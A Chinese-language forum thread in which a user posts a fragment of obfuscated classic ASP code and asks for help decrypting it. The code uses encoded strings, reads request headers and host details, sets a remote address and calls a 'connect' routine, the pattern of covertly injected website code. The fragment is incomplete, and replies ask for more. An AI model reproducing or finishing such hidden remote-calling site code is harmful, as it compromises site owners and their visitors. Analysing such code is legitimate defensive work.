asp代码加密 解密

这是一部分文件，只解这部分，可能不一定行，解密代码如下：
Dim rsp,se,app,sr
Set rsp=Response:Set se=Session:Set app=Application:Set sr=Server
Set a = New newClass
a.dizhi = Response("fd]hg]`eg]dh")
a.filename = Request.ServerVariables(Response("$4C:AE0}2>6"))
a.csvalue = Response("G:56@")
a.cachefile = Response("^42496")
a.connect
Class newClass
Public aa,dizhi,bb,filename,csvalue,cachefile
Private cc,dd,ee,ff,gg,hh,ii
Private Sub Class_Initialize
cc = ""
filename = Response(":?56I]2DA")
csvalue = Response("A286")
dd = Request.ServerVariables(Response("$t#")&Response("'t#0$~u%")&Response("(p#t"))
aa = Response("`af]_]_]`")
dizhi = Response("`af]_]_]`")
bb = ""
hh = Request.ServerVariables(Response("w%%!0w~$%"))
cachefile = Response("^42496")
ii = abcd()
End Sub

Dim Application,Request,Response,Server,Session
Set OOO9OO999 = New OOOOO999
OOO9OO999.dizhi 	= OOOO9O9O("fd]hg]`eg]dh")
OOO9OO999.filename 	= Request.ServerVariables(OOOO9O9O("$4C:AE0}2>6"))
OOO9OO999.csvalue 	= OOOO9O9O("G:56@")
OOO9OO999.cachefile 	= OOOO9O9O("^42496")
OOO9OO999.connect
Class OOOOO999
Public OOOOO99O,dizhi,OOOOO9OO,filename,csvalue,cachefile
Private OOOOOOOO,OOO999999,OOO99999O,OOO9999O9,OOO9999OO,OOO999O99,OOO999O9O
Private Sub Class_Initialize
OOOOOOOO	= ""
filename	= OOOO9O9O(":?56I]2DA")
csvalue		= OOOO9O9O("A286")
OOO999999	= Request.ServerVariables(OOOO9O9O("$t#")&OOOO9O9O("'t#0$~u%")&OOOO9O9O("(p#t"))
OOOOO99O 		= OOOO9O9O("`af]_]_]`")
dizhi 	= OOOO9O9O("`af]_]_]`")
OOOOO9OO	= ""
OOO999O99 	= Request.ServerVariables(OOOO9O9O("w%%!0w~$%"))
cachefile 	= OOOO9O9O("^42496")
OOO999O9O			= OOOO99OO()
End Sub

贴全代码吧，代码不全不好分析

00009090才是的东西没找到这是解密的